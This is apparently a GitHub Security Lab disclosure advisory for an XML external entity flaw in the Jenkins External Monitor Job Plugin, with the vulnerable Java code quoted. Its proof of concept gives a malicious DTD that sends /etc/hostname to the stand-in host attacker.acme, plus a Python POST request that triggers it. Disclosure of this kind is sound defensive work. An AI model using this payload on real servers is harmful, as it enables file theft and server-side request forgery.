Coordinated Disclosure Timeline

Summary

Jenkins External Monitor Job Plugin 203.v683c09d993b_9 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows authenticated attackers with Job Build permissions to send specific HTTP requests that force Jenkins to download and parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Product

Jenkins External Monitor Job Plugin

Tested Version

203.v683c09d993b_9

Details

XXE in ExternalRun.java (GHSL-2023-056)

The Jenkins External Monitor Job Plugin implements the ExternalJob class, which exposes a method doPostBuildResult that is accessible via HTTP requests:

src/main/java/hudson/model/ExternalJob.java:95

@POST
public void doPostBuildResult( StaplerRequest req, StaplerResponse rsp ) throws IOException, ServletException {
    ExternalRun run = newBuild();
    run.acceptRemoteSubmission(req.getReader());
    rsp.setStatus(HttpServletResponse.SC_OK);
}

The user-provided body from the POST request gets sent to ExternalRun.acceptRemoteSubmission, which basically triggers a RunExecution:

src/main/java/hudson/model/ExternalRun.java:126

public void acceptRemoteSubmission(final Reader in) throws IOException {
    // --snip--
    execute(new RunExecution() {
        // --snip--
        public Result run(BuildListener listener) throws Exception {
            PrintStream logger = new PrintStream(new DecodingStream(listener.getLogger()));

            XMLInputFactory xif = XMLInputFactory.newInstance();
            XMLStreamReader p = xif.createXMLStreamReader(in);

As it can be seen, the user-provided in Reader is passed to XMLInputFactory.createXMLStreamReader, which doesn’t disable DTDs nor external entity resolution.

This issue was found by the Resolving XML external entity in user-controlled data CodeQL query.

Impact

This issue may lead to arbitrary file read, server-side request forgery, and denial of service.

Proof of concept

To exploit this vulnerability, first a server hosting a malicious DTD needs to be set up. The DTD would look as follows:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://attacker.acme/?x=%file;'>">
%eval;
%exfiltrate;

With the server up and running, an authenticated attacker can make the following POST request to the Jenkins server (assuming an external job ext exists) to exploit the XXE:

import requests

URL = "http://localhost:8080"
USER = "user"
PASS = "..." # API Token with Job Build permission
r = requests.post(URL + "/job/ext/postBuildResult", data="""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://attacker.acme/test.dtd"> %xxe;]>
<foo>bar</foo>""", auth=(USER,PASS))

The attacker receives the content of the /etc/hostname file as a query parameter x at https://attacker.acme/.

CVE

Resources

Credit

This issue was discovered and reported by the GitHub CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-056 in any communication regarding this issue.